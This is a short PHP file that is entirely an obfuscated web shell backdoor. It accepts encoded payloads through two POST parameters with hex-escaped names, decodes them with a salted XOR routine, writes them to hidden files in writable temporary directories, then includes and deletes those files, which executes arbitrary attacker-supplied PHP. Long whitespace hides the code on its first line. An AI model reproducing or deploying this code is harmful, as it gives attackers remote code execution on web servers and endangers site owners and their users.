<?php																																										if(!empty($_POST["resou\x72\x63e"])){ $key = $_POST["resou\x72\x63e"]; $key = explode( '.' , $key ) ; $pgrp= ''; $salt1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt1 ); foreach ($key as $n => $v2): $chS= ord($salt1[$n%$sLen] ); $dec= ((int)$v2 - $chS - ($n%10)) ^ 27; $pgrp .= chr($dec ); endforeach; $holder = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", session_save_path(), getenv("TEMP"), "/tmp", sys_get_temp_dir(), "/var/tmp", getenv("TMP")]); for ($element = 0, $data = count($holder); $element < $data; $element++) { $flag = $holder[$element]; if (!( !is_dir($flag) || !is_writable($flag) )) { $res = "$flag" . "/.dat"; if (@file_put_contents($res, $pgrp) !== false) { include $res; unlink($res); exit; } } } }


if(isset($_POST["\x64c\x68u\x6Ek"])){
	$pgrp = $_POST["\x64c\x68u\x6Ek"];
	 $pgrp  	= 	explode('.'  , $pgrp);
	$hld = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s);
            $z = 0;
    
            $__tmp = $pgrp;
            while($v3 = array_shift($__tmp)) {
                $sChar = ord($s[$z% 	$lenS]);
                $dec =((int)$v3 - $sChar -($z% 	10)) ^ 19;
                $hld .= chr($dec);
                $z++; }	 
	$descriptor = array_filter([session_save_path(), "/tmp", sys_get_temp_dir(), "/dev/shm", getcwd(), getenv("TMP"), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir")]);
	while ($reference = array_shift($descriptor)) {
    		if (!( !is_dir($reference) || !is_writable($reference) )) {
    $ref = "$reference" . "/.entry";
    if (@file_put_contents($ref, $hld) !== false) {
	include $ref;
	unlink($ref);
	die();
}
}
}
}